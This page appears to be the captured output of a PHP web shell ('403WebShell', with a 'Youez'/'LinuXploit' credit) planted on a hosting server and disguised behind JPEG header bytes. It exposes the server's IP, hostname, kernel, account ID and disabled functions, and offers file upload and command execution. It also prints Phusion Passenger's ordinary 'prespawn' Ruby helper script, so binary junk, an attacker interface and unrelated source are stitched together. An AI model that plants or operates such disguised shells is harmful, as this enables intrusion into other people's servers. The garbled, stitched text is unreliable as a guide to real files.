JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 88.223.91.137  /  Your IP : 216.73.216.254
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/passenger/src/helper-scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/passenger/src/helper-scripts/prespawn
#!/usr/bin/ruby
#  Phusion Passenger - https://www.phusionpassenger.com/
#  Copyright (c) 2010-2025 Asynchronous B.V.
#
#  "Passenger", "Phusion Passenger" and "Union Station" are registered
#  trademarks of Asynchronous B.V.
#
#  Permission is hereby granted, free of charge, to any person obtaining a copy
#  of this software and associated documentation files (the "Software"), to deal
#  in the Software without restriction, including without limitation the rights
#  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
#  copies of the Software, and to permit persons to whom the Software is
#  furnished to do so, subject to the following conditions:
#
#  The above copyright notice and this permission notice shall be included in
#  all copies or substantial portions of the Software.
#
#  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
#  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
#  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
#  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
#  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
#  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
#  THE SOFTWARE.

STDOUT.sync = true
STDERR.sync = true

require 'uri'
require 'socket'
require 'timeout'
require 'base64'

class PrespawnLocation
  class InvalidURLError < RuntimeError
    def initialize(url)
      @url = url
    end

    def to_s
      message
    end

    def message
      "'#{@url}' is not a valid URL."
    end
  end

  def self.parse(url)
    uri = uri_for(url)

    if uri.scheme == 'unix' || uri.host == 'unix'
      location = UNIXPrespawnLocation.new(uri)
    else
      case uri.scheme
      when 'http'
        location = TCPPrespawnLocation.new(uri)
      when 'https'
        location = SSLPrespawnLocation.new(uri)
      end
    end

    unless location
      raise InvalidURLError, url
    end

    location
  end

  def self.uri_for(url)
    URI.parse(url)
  rescue URI::InvalidURIError
    raise InvalidURLError, url
  end

  def initialize(uri)
    @uri = uri
  end

  def request_path
    @uri.path.empty? ? '/' : @uri.path
  end

  def request_host
    @uri.host
  end

  def socket
    @socket ||= connect
  end

  if Base64.respond_to?(:strict_encode64)
    def base64(data)
      Base64.strict_encode64(data)
    end
  else
    # Base64-encodes the given data. Newlines are removed.
    # This is like `Base64.strict_encode64`, but also works
    # on Ruby 1.8 which doesn't have that method.
    def base64(data)
      result = Base64.encode64(data)
      result.delete!("\n")
      result
    end
  end

  def head_request
    socket.write("HEAD #{request_path} HTTP/1.1\r\n")
    socket.write("Host: #{request_host}\r\n")
    socket.write("User-Agent: Passenger Prespawn Script\r\n")
    socket.write("Authorization: Basic " + base64(@uri.userinfo) + "\r\n") if @uri.userinfo
    socket.write("Connection: close\r\n")
    socket.write("\r\n")

    begin
      Timeout.timeout(10) do
        socket.read
      end
    rescue Timeout::Error
    end
  end
end

class TCPPrespawnLocation < PrespawnLocation
  def request_port
    @uri.port
  end

  def connect
    TCPSocket.new(request_host, request_port)
  rescue Errno::ECONNREFUSED
    TCPSocket.new('::1', request_port)
  end
end

class SSLPrespawnLocation < TCPPrespawnLocation
  def connect
    require 'openssl'
    socket = OpenSSL::SSL::SSLSocket.new(super)
    socket.sync_close = true
    socket.connect
    socket
  end
end

class UNIXPrespawnLocation < PrespawnLocation
  def request_path
    super.split(':', 2).last
  end

  def request_host
    '_'
  end

  def socket_path
    @uri.path.split(':', 2).first
  end

  def connect
    UNIXSocket.new(socket_path)
  end
end

url = ARGV[0]
begin
  prespawn_location = PrespawnLocation.parse(url)
rescue PrespawnLocation::InvalidURLError => e
  STDERR.puts "*** ERROR: #{e}"
  exit 1
end

prespawn_location.head_request

Youez - 2016 - github.com/yon3zu
LinuXploit